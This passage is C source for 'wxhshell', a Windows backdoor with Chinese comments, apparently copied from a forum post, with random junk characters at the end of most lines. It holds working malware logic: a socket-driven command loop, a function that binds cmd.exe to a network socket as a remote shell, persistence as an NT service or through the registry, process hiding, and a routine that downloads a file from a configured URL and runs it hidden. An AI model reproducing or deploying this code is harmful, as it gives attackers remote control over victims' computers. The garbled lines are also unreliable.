  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>I7.c-M|  
  else SM4'3d&mf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q[9W{l+  
  } QsBC[7<jd-  
  else { T~ P<Gq} ,  
k54b@U52 h  
    switch(cmd[0]) { pp+z5  
  }J6 y NoXu  
  // 帮助 $mxl&Qr>Q;  
  case '?': { $ncP#6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _FCg5F2U  
    break; ~En]sj  
  } ~ E n'X4  
  // 安装 hVNT  
  case 'i': { ,MUgww!.  
    if(Install()) !`dMTW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I7+yu>  
    else & kQj)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L-Mf{z  
    break; }[y_Fr0  
    } l)f 2T@bHl  
  // 卸载 bZ}T;!U?I  
  case 'r': { w3M F62:  
    if(Uninstall()) ~&D5RfK5f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B.}j1 Bb  
    else zd=N.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C8y[B1Y  
    break; 4!A(7 s4t  
    } 19i=kdH  
  // 显示 wxhshell 所在路径 4$+/7I \  
  case 'p': { R] l2,0:  
    char svExeFile[MAX_PATH]; QtLd(& !v  
    strcpy(svExeFile,"\n\r"); aZmac'cz{  
      strcat(svExeFile,ExeFile); VDlP,Mm*  
        send(wsh,svExeFile,strlen(svExeFile),0); F1/BtGvQE  
    break; QwLSL<.  
    } 'M fVZho{  
  // 重启 8peK[sz  
  case 'b': { 9O\yIL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /d> Jkv  
    if(Boot(REBOOT)) dB8 e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&GY5<&b  
    else { PJAM_K;  
    closesocket(wsh); K/$5SN1  
    ExitThread(0); {Hz;*1?$k  
    } T3t w.yh  
    break; QG5 c>Q  
    } ,7;euV5X  
  // 关机 Wf =hFc1_@  
  case 'd': { oN,9#*PVL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !gi3J @  
    if(Boot(SHUTDOWN)) d!y_N&z|(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {(Ba  
    else { e!w#{</8Q  
    closesocket(wsh); i<!1s%i}  
    ExitThread(0); T/tCX[}  
    } R#Z m[S  
    break; G4%dah 5  
    } }x:}9iphF  
  // 获取shell J!H)[~2/  
  case 's': { _xM3c&VeG  
    CmdShell(wsh); 7b(r'b@N  
    closesocket(wsh); $ Zj3#l:rK  
    ExitThread(0); @eP(j@(^  
    break; 8aVj@x$'  
  } w}?,N  
  // 退出 1~S'' [  
  case 'x': { 0NXaAf:2Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '\P+Bu]6&  
    CloseIt(wsh); =/ 19 -Y:  
    break; }ok'd=M  
    } [jTZxH<  
  // 离开 /a\]Dwj5  
  case 'q': { k;HI-v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Is!+ `[ma  
    closesocket(wsh);  >1q:-^  
    WSACleanup(); ckbD/+  
    exit(1); ,S1'SCwVdJ  
    break; CIQ9dx7>  
        } G5UNW<P2C  
  } v %S$5  
  } 3A3WD+[L  
pEY zB;  
  // 提示信息 =91f26c!~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Tq7[v{0*|  
} `eKFs0M.  
  } ' &Tz8.jp~  
n M `pnR_  
  return; uk3PoB^>  
} q5.5%W  
^geY Ay  
// shell模块句柄 F ZN}T{<  
int CmdShell(SOCKET sock) 5G=fJAG  
{ 64SRW8AH  
STARTUPINFO si; E#\'$@8j  
ZeroMemory(&si,sizeof(si)); NYPjN9L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E :UJ"6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j:0< tj E  
PROCESS_INFORMATION ProcessInfo; ~(eD 4"  
char cmdline[]="cmd"; vH@b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]E1|^[y  
  return 0; -uB*E1|Q  
} ES5a`"H  
:V#B]:Z9  
// 自身启动模式 fjHd"!)3  
int StartFromService(void) oSH]TL2@Cd  
{ q]v{o8:U  
typedef struct +Rq]_ sDu  
{ Q S<)*  
  DWORD ExitStatus; u9{Z*w3L7  
  DWORD PebBaseAddress; 2Iq*7n:v0  
  DWORD AffinityMask; =64Ju Wvo  
  DWORD BasePriority; avd`7eH2  
  ULONG UniqueProcessId; `LJ.NY pP  
  ULONG InheritedFromUniqueProcessId;  !~]'&9  
}   PROCESS_BASIC_INFORMATION; _J0(GuG=~  
]"i^ VVw  
PROCNTQSIP NtQueryInformationProcess; F "-GhjK  
]gVW&3ZW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i7`/"5I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z"Wyf6H0T  
ZU5;w  
  HANDLE             hProcess; 8[IR;gZf  
  PROCESS_BASIC_INFORMATION pbi; gO bP  
20)8e!jP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WU6F-{M"?  
  if(NULL == hInst ) return 0; TWU1@5?Ct  
Kj+TP qXb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <'O|7. ^^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K# h7{RE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RYM[{]4b5F  
/[|A(,N}{  
  if (!NtQueryInformationProcess) return 0; =@.5J'!  
2~@Cj@P]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mnM$#%q;%  
  if(!hProcess) return 0; =Ct$!uun  
2XV3f$,H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $lF\FC  
VpB+|%@p  
  CloseHandle(hProcess); *m&(h@l  
jk5C2dy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \5F {MBx !  
if(hProcess==NULL) return 0; m[A$Sp_"-h  
,sn 9&E  
HMODULE hMod; ZV`o: Gd  
char procName[255]; I_ na^s h*  
unsigned long cbNeeded; ^/7Y3n!|3  
% &i Wc_"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0V'XE1h  
9<"l!noy  
  CloseHandle(hProcess); ]Waa7)}DM  
<#e!kWGR?  
if(strstr(procName,"services")) return 1; // 以服务启动 U z MIm  
*YWk.  
  return 0; // 注册表启动 eX o@3/  
} 7@ mP;K0  
rv %^2h<&  
// 主模块 ]dnB ,  
int StartWxhshell(LPSTR lpCmdLine) I(+%`{Wv  
{ 3E;<aCG?  
  SOCKET wsl; %F]:nk`  
BOOL val=TRUE; g #[,4o;  
  int port=0; 0vcFX)]yW  
  struct sockaddr_in door; Wp//SV  
nPjN\Es6  
  if(wscfg.ws_autoins) Install(); <nF1f(ky  
&=l aZxe  
port=atoi(lpCmdLine); UvVq#<-  
f/g-b]0  
if(port<=0) port=wscfg.ws_port; Cx ;n#dn*  
Q}]RB$ZS  
  WSADATA data; 0[fqF^HEN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^vo]bq7  
$e,'<Jl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a`zw5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4"Pf0PD:  
  door.sin_family = AF_INET; # |,c3$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NV9H"fI  
  door.sin_port = htons(port); >~\CiV4^  
7R>Pk9J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @%[ VegT  
closesocket(wsl); r#WAS2.TP  
return 1; r~T3Ieb  
} 41\V;yib  
1lf]}V  
  if(listen(wsl,2) == INVALID_SOCKET) { w(nQ:;oC  
closesocket(wsl); Y!AQ7F  
return 1; Yx<wYzD  
} m/NXifi8l  
  Wxhshell(wsl); 1)ZdkTF@H  
  WSACleanup(); jLreN#:9  
d ]Mjr2h  
return 0; ~9dAoILrl  
a9TKp$LP`  
} sQ%gf  
HH'5kE0;d  
// 以NT服务方式启动 |1Pi`^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s F3M= uz  
{ w-?Cg8bq<  
DWORD   status = 0; x-@6U  
  DWORD   specificError = 0xfffffff; +zSdP2s  
 ~b LhI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gR8vF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L@8C t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  WfkP  
  serviceStatus.dwWin32ExitCode     = 0; X1Y+ao1)  
  serviceStatus.dwServiceSpecificExitCode = 0; $Z4IPs  
  serviceStatus.dwCheckPoint       = 0; =idZvD  
  serviceStatus.dwWaitHint       = 0; "6o5x&H  
C/A~r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #nJ&`woZt  
  if (hServiceStatusHandle==0) return; Ixv/xI  
-gb'DN1BG  
status = GetLastError(); T>pz?e^5&  
  if (status!=NO_ERROR) !<j)D_  
{ T'e p&tNY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 73kL>u  
    serviceStatus.dwCheckPoint       = 0; D^\2a;[AxA  
    serviceStatus.dwWaitHint       = 0; 2V=bE-  
    serviceStatus.dwWin32ExitCode     = status; "3:TrM$|A  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z1M{5E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $#d.@JWi  
    return; L=5Fvm  
  } +@5*_n\e`  
y7Sj^muBY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m6M:l"u  
  serviceStatus.dwCheckPoint       = 0; Zywx.@!  
  serviceStatus.dwWaitHint       = 0; ]eIV'lP,j/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %& b70]S(  
} =hB0p^a  
7NDjXcuq  
// 处理NT服务事件,比如:启动、停止 8S7 YVsDz"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ${)s ~[  
{ /V)4B4  
switch(fdwControl) -[.A6W  
{ \t@4)+s/)  
case SERVICE_CONTROL_STOP: ]*JH~.p  
  serviceStatus.dwWin32ExitCode = 0; 7.tEi}O&_g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gVI2{\a  
  serviceStatus.dwCheckPoint   = 0; :_"%o=  
  serviceStatus.dwWaitHint     = 0; yaKw/vV  
  { bcC+af0L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ve^rzGU  
  } j\.\ePmk]  
  return; Z7Xic5PI{4  
case SERVICE_CONTROL_PAUSE: eFdN"8EW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WHvU|rJ  
  break; L% ?3VW  
case SERVICE_CONTROL_CONTINUE: ##clReS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XbKNH>  
  break; Ba /^CS  
case SERVICE_CONTROL_INTERROGATE: &%`Y>\@f  
  break; /f) #CR0$  
}; It3.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  = ~^  
} MJ0UZxnl  
(YH/#n1"{  
// 标准应用程序主函数 (GI]Uyn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hz~jyH.h_  
{ g?d*cwtU  
zCdzxb_h"  
// 获取操作系统版本 >gLLr1L\  
OsIsNt=GetOsVer(); N_),'2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ig M_l=  
F(#~.i  
  // 从命令行安装 AV*eGzz`  
  if(strpbrk(lpCmdLine,"iI")) Install(); "/}cV5=Z  
J{bNx8.&  
  // 下载执行文件 #Bgq]6G2  
if(wscfg.ws_downexe) { KK4"H]!.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .WT^L2l%  
  WinExec(wscfg.ws_filenam,SW_HIDE); kw.IVz<  
} mFXkrvOf,  
?\$\YX%/p  
if(!OsIsNt) { [.`%]Z(  
// 如果时win9x,隐藏进程并且设置为注册表启动 q^k]e{PD  
HideProc(); Ps_q\R  
StartWxhshell(lpCmdLine); &b7i> ()  
} v9R"dc]0h  
else [#-!&>  
  if(StartFromService()) =j{r95)|u  
  // 以服务方式启动 nfbqJ  
  StartServiceCtrlDispatcher(DispatchTable); 8x9$6HO  
else {IpIQ-@l  
  // 普通方式启动 s.7s:Q`  
  StartWxhshell(lpCmdLine); lYMNx|PF  
=y kOh_M  
return 0; C #A\Rfi  
}
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只看该作者 1 发表于: 2006-10-10
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